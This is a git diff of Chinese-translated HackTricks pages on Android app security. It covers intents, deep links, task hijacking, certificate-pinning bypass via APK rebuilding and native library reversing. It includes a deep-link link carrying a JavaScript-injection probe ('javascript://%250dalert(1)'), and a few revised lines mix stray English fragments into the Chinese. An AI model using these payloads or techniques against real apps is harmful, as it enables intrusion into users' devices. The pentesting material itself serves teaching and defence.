如果存在漏洞,**Intents 可以用于执行各种攻击**。
|
||||
如果存在漏洞,**Intents可以用于执行各种攻击**。
|
||||
|
||||
### Intent-Filter
|
||||
|
||||
**Intent Filters** 定义**活动、服务或广播接收器如何与不同类型的 Intents 交互**。本质上,它们描述了这些组件的能力,例如它们可以执行的操作或可以处理的广播类型。声明这些过滤器的主要位置是在**AndroidManifest.xml 文件**中,尽管对于广播接收器,编码它们也是一种选择。
|
||||
**Intent过滤器**定义**活动、服务或广播接收器如何与不同类型的Intents交互**。本质上,它们描述了这些组件的能力,例如它们可以执行的操作或可以处理的广播类型。声明这些过滤器的主要位置是在**AndroidManifest.xml文件**中,尽管对于广播接收器,编码它们也是一种选择。
|
||||
|
||||
Intent Filters 由类别、操作和数据过滤器组成,并可以包含附加元数据。此设置允许组件处理与声明的标准匹配的特定 Intents。
|
||||
Intent过滤器由类别、操作和数据过滤器组成,并可以包含附加元数据。此设置允许组件处理与声明的标准匹配的特定Intents。
|
||||
|
||||
Android 组件(活动/服务/内容提供者/广播接收器)的一个关键方面是它们的可见性或**公共状态**。如果组件被**`exported`** 设置为 **`true`**,或者在清单中声明了 Intent Filter,则该组件被视为公共的,可以与其他应用程序交互。然而,开发人员可以通过将**`exported`** 属性设置为 **`false`** 来显式保持这些组件私有,确保它们不会与其他应用程序意外交互。
|
||||
Android组件(活动/服务/内容提供者/广播接收器)的一个关键方面是它们的可见性或**公共状态**。如果组件的**`exported`**值为**`true`**,则该组件被视为公共的,可以与其他应用程序交互;如果在清单中声明了Intent过滤器,则也是如此。然而,开发人员可以通过将**`exported`**属性设置为**`false`**来显式保持这些组件私有,确保它们不会与其他应用程序意外交互。
|
||||
|
||||
此外,开发人员还有选择进一步保护对这些组件的访问的选项,要求特定权限。**`permission`** 属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件,从而增加了安全性和对谁可以与其交互的控制。
|
||||
此外,开发人员还有选择进一步保护对这些组件的访问的选项,要求特定权限。**`permission`**属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件,从而增加了安全性和对谁可以与其交互的控制。
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -156,7 +148,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
```
|
||||
The **Action** of the previously declared intent is **ACTION\_SEND** and the **Extra** is a mailto **Uri** (the Extra if the extra information the intent is expecting).
|
||||
|
||||
这个意图应该在清单中声明,如下例所示:
|
||||
此意图应在清单中声明,如以下示例所示:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -167,7 +159,7 @@ The **Action** of the previously declared intent is **ACTION\_SEND** and the **E
|
|||
```
|
||||
一个 intent-filter 需要匹配 **action**、**data** 和 **category** 才能接收消息。
|
||||
|
||||
“Intent 解析”过程决定了哪个应用程序应该接收每个消息。该过程考虑 **priority attribute**,可以在 **intent-filter 声明**中设置,**优先级更高的将被选择**。此优先级可以设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**,将出现一个“选择器”窗口,以便 **用户可以决定**。
|
||||
“Intent 解析”过程决定了哪个应用程序应该接收每个消息。该过程考虑 **priority attribute**,可以在 i**ntent-filter 声明**中设置,t**he one with the higher priority will be selected**。这个优先级可以设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **conflict**,将出现一个“选择器”窗口,以便 **user can decide**。
|
||||
|
||||
### 显式 Intent
|
||||
|
||||
|
@ -206,7 +198,7 @@ context.startService(intent);
|
|||
|
||||
## Deep links / URL schemes
|
||||
|
||||
在 Android 应用程序中,**深度链接**用于通过 URL 直接启动一个操作(意图)。这是通过在活动中声明特定的**URL 方案**来完成的。当 Android 设备尝试**访问带有此方案的 URL**时,应用程序中的指定活动将被启动。
|
||||
在 Android 应用程序中,**深度链接**用于通过 URL 直接启动一个操作(Intent)。这是通过在活动中声明特定的**URL 方案**来完成的。当 Android 设备尝试**访问具有此方案的 URL**时,应用程序中的指定活动将被启动。
|
||||
|
||||
该方案必须在**`AndroidManifest.xml`**文件中声明:
|
||||
```xml
|
||||
|
@ -228,7 +220,7 @@ context.startService(intent);
|
|||
android:host="example"
|
||||
/>
|
||||
```
|
||||
要从网页访问它,可以设置一个链接,如:
|
||||
要从网页访问,可以设置一个链接,如:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
|
@ -247,7 +239,7 @@ android:host="example"
|
|||
|
||||
- **Messenger**:作为绑定服务,Messenger促进IPC,重点处理通过`onBind`方法的数据。必须仔细检查此方法,以发现任何不安全的数据处理或敏感功能的执行。
|
||||
|
||||
- **Binder**:尽管由于AIDL的抽象,直接使用Binder类的情况较少,但了解Binder作为内核级驱动程序在不同进程的内存空间之间促进数据传输是有益的。有关进一步理解的资源可在[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)找到。
|
||||
- **Binder**:尽管由于AIDL的抽象,Binder类的直接使用较少,但了解Binder作为内核级驱动程序在不同进程的内存空间之间促进数据传输是有益的。有关进一步理解的资源可在[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)找到。
|
||||
|
||||
## 组件
|
||||
|
||||
|
@ -274,7 +266,7 @@ android:host="example"
|
|||
```
|
||||
然而,从另一个应用访问一个活动并不总是安全风险。问题出现在敏感数据被不当共享时,这可能导致信息泄露。
|
||||
|
||||
一个活动的生命周期 **始于 onCreate 方法**,设置用户界面并准备活动与用户的交互。
|
||||
活动的生命周期 **从 onCreate 方法开始**,设置用户界面并准备活动与用户进行交互。
|
||||
|
||||
### 应用程序子类
|
||||
|
||||
|
@ -298,7 +290,7 @@ super.onCreate();
|
|||
|
||||
[Services](https://developer.android.com/guide/components/services) 是 **后台操作**,能够在没有用户界面的情况下执行任务。这些任务即使在用户切换到不同应用程序时也可以继续运行,使得服务对于 **长时间运行的操作** 至关重要。
|
||||
|
||||
服务是多功能的;它们可以通过多种方式启动,其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务,其 `onStart` 方法就会启动并持续运行,直到显式调用 `stopService` 方法。或者,如果服务的角色依赖于活动的客户端连接,则使用 `bindService` 方法将客户端绑定到服务,激活 `onBind` 方法以进行数据传递。
|
||||
服务是多功能的;它们可以通过多种方式启动,其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务,其 `onStart` 方法就会启动并持续运行,直到显式调用 `stopService` 方法。或者,如果服务的角色依赖于活动的客户端连接,则使用 `bindService` 方法将客户端绑定到服务,激活 `onBind` 方法进行数据传递。
|
||||
|
||||
服务的一个有趣应用包括后台音乐播放或网络数据获取,而不妨碍用户与应用的交互。此外,服务可以通过 **导出** 使其他进程在同一设备上可访问。这不是默认行为,需要在 Android Manifest 文件中进行显式配置:
|
||||
```xml
|
||||
|
@ -306,9 +298,9 @@ super.onCreate();
|
|||
```
|
||||
### Broadcast Receivers
|
||||
|
||||
**广播接收器**充当消息系统中的监听器,允许多个应用程序响应来自系统的相同消息。应用程序可以通过应用的**Manifest**或通过应用代码中的**`registerReceiver`** API以**两种主要方式**注册接收器。在Manifest中,广播通过权限进行过滤,而动态注册的接收器在注册时也可以指定权限。
|
||||
**广播接收器**充当消息系统中的监听器,允许多个应用程序响应来自系统的相同消息。应用程序可以通过应用的**Manifest**或在应用代码中通过**`registerReceiver`** API**动态**注册接收器。 在Manifest中,广播通过权限进行过滤,而动态注册的接收器在注册时也可以指定权限。
|
||||
|
||||
**意图过滤器**在这两种注册方法中至关重要,决定哪些广播触发接收器。一旦发送匹配的广播,接收器的**`onReceive`**方法将被调用,使应用能够相应地反应,例如在低电量警报时调整行为。
|
||||
**意图过滤器**在这两种注册方法中都至关重要,决定哪些广播触发接收器。一旦发送匹配的广播,接收器的**`onReceive`**方法将被调用,使应用能够相应地反应,例如在低电量警报时调整行为。
|
||||
|
||||
广播可以是**异步**的,所有接收器无序接收,或**同步**的,接收器根据设定的优先级接收广播。然而,重要的是要注意潜在的安全风险,因为任何应用都可以优先处理自己以拦截广播。
|
||||
|
||||
|
@ -366,11 +358,11 @@ JavaScript "Bridge" 允许 Java 对象与 JavaScript 交互,从 Android 4.2
|
|||
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **数字签名** 是 Android 应用的必要条件,确保它们在安装前是 **真实作者**。此过程使用证书进行应用识别,并必须在安装时由设备的包管理器进行验证。应用可以是 **自签名或由外部 CA 认证**,以防止未经授权的访问,并确保应用在传送到设备时保持未被篡改。
|
||||
- **数字签名** 是 Android 应用的必需,确保它们在安装前是 **真实作者**。此过程使用证书进行应用识别,并必须在安装时由设备的包管理器进行验证。应用可以是 **自签名或由外部 CA 认证**,以防止未经授权的访问,并确保应用在传送到设备时保持未被篡改。
|
||||
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- 从 **Android 4.2** 开始,名为 **验证应用** 的功能允许用户在安装前检查应用的安全性。此 **验证过程** 可以警告用户潜在有害的应用,甚至阻止特别恶意的应用安装,从而增强用户安全性。
|
||||
- 从 **Android 4.2** 开始,名为 **验证应用** 的功能允许用户在安装前检查应用的安全性。此 **验证过程** 可以警告用户潜在有害的应用,甚至阻止特别恶意的应用安装,从而增强用户安全。
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
|
@ -385,23 +377,17 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**努力安全组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,27 @@
|
|||
# Android 任务劫持
|
||||
# Android Task Hijacking
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 任务、后栈和前台活动
|
||||
|
||||
在 Android 中,**任务** 本质上是一组用户交互以完成特定工作的活动,组织在 **后栈** 中。这个栈根据活动打开的时间对活动进行排序,最近的活动显示在顶部,作为 **前台活动**。在任何时刻,只有这个活动在屏幕上可见,使其成为 **前台任务** 的一部分。
|
||||
在 Android 中,**任务** 本质上是一组用户交互以完成特定工作的活动,组织在 **后栈** 中。该栈根据活动打开的时间对活动进行排序,最近的活动显示在顶部,称为 **前台活动**。在任何时刻,只有此活动在屏幕上可见,使其成为 **前台任务** 的一部分。
|
||||
|
||||
以下是活动转换的快速概述:
|
||||
|
||||
* **活动 1** 作为唯一的前台活动开始。
|
||||
* **活动 1** 作为前台的唯一活动开始。
|
||||
* 启动 **活动 2** 将 **活动 1** 推入后栈,使 **活动 2** 进入前台。
|
||||
* 启动 **活动 3** 将 **活动 1** 和 **活动 2** 进一步推入栈中,**活动 3** 现在在前面。
|
||||
* 关闭 **活动 3** 将 **活动 2** 重新带回前台,展示了 Android 的简化任务导航机制。
|
||||
|
@ -40,11 +32,11 @@
|
|||
|
||||
### 任务亲和力和启动模式概述
|
||||
|
||||
在 Android 应用程序中,**任务亲和力** 指定活动的首选任务,通常与应用的包名对齐。这个设置在制作用于演示攻击的概念验证 (PoC) 应用时至关重要。
|
||||
在 Android 应用程序中,**任务亲和力** 指定活动的首选任务,通常与应用程序的包名对齐。此设置在制作用于演示攻击的概念验证 (PoC) 应用程序时至关重要。
|
||||
|
||||
### 启动模式
|
||||
|
||||
`launchMode` 属性指导活动实例在任务中的处理。**singleTask** 模式对该攻击至关重要,根据现有活动实例和任务亲和力匹配情况,规定了三种场景。该漏洞依赖于攻击者的应用能够模仿目标应用的任务亲和力,误导 Android 系统启动攻击者的应用而不是预期的目标。
|
||||
`launchMode` 属性指导活动实例在任务中的处理。**singleTask** 模式对该攻击至关重要,根据现有活动实例和任务亲和力匹配情况规定三种场景。该漏洞依赖于攻击者的应用能够模仿目标应用的任务亲和力,误导 Android 系统启动攻击者的应用而不是预期的目标。
|
||||
|
||||
### 详细攻击步骤
|
||||
|
||||
|
@ -58,29 +50,24 @@
|
|||
|
||||
### 预防措施
|
||||
|
||||
为了防止此类攻击,开发人员可以将 `taskAffinity` 设置为空字符串,并选择 `singleInstance` 启动模式,确保其应用与其他应用隔离。自定义 `onBackPressed()` 函数提供了额外的保护,以防止任务劫持。
|
||||
为了防止此类攻击,开发人员可以将 `taskAffinity` 设置为空字符串,并选择 `singleInstance` 启动模式,确保其应用与其他应用隔离。自定义 `onBackPressed()` 函数提供额外的保护,以防止任务劫持。
|
||||
|
||||
## **参考文献**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,19 +8,11 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
有些应用程序不喜欢用户下载的证书,因此为了检查某些应用的网络流量,我们实际上需要反编译应用程序,添加一些内容并重新编译它。
|
||||
|
||||
# 自动
|
||||
|
@ -58,15 +50,15 @@
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
然后保存文件并退出所有目录,使用以下命令重建apk: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
然后保存文件并退出所有目录,使用以下命令重建apk:`apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
最后,您只需**签署新应用程序**。[阅读此页面的Smali - 反编译/\[修改\]/编译部分以了解如何签署它](smali-changes.md#sing-the-new-apk)。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -10,28 +10,15 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**更多信息请查看:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否已被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**有关更多信息,请查看:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
Android 应用可以使用本地库,通常用 C 或 C++ 编写,以处理性能关键的任务。恶意软件创建者也使用这些库,因为它们比 DEX 字节码更难以反向工程。该部分强调针对 Android 的反向工程技能,而不是教授汇编语言。提供了 ARM 和 x86 版本的库以确保兼容性。
|
||||
Android 应用可以使用本地库,通常用 C 或 C++ 编写,以满足性能关键任务的需求。恶意软件创建者也使用这些库,因为它们比 DEX 字节码更难以反向工程。该部分强调针对 Android 的反向工程技能,而不是教授汇编语言。提供 ARM 和 x86 版本的库以确保兼容性。
|
||||
|
||||
### 关键点:
|
||||
|
||||
|
@ -68,17 +55,6 @@ Android 应用可以使用本地库,通常用 C 或 C++ 编写,以处理性
|
|||
* **调试本地库:**
|
||||
* [使用 JEB 反编译器调试 Android 本地库](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否已被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -90,7 +66,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,21 @@
|
|||
# Android APK Checklist
|
||||
# Android APK 检查清单
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [学习 Android 基础](android-app-pentesting/#2-android-application-fundamentals)
|
||||
### [学习 Android 基础知识](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
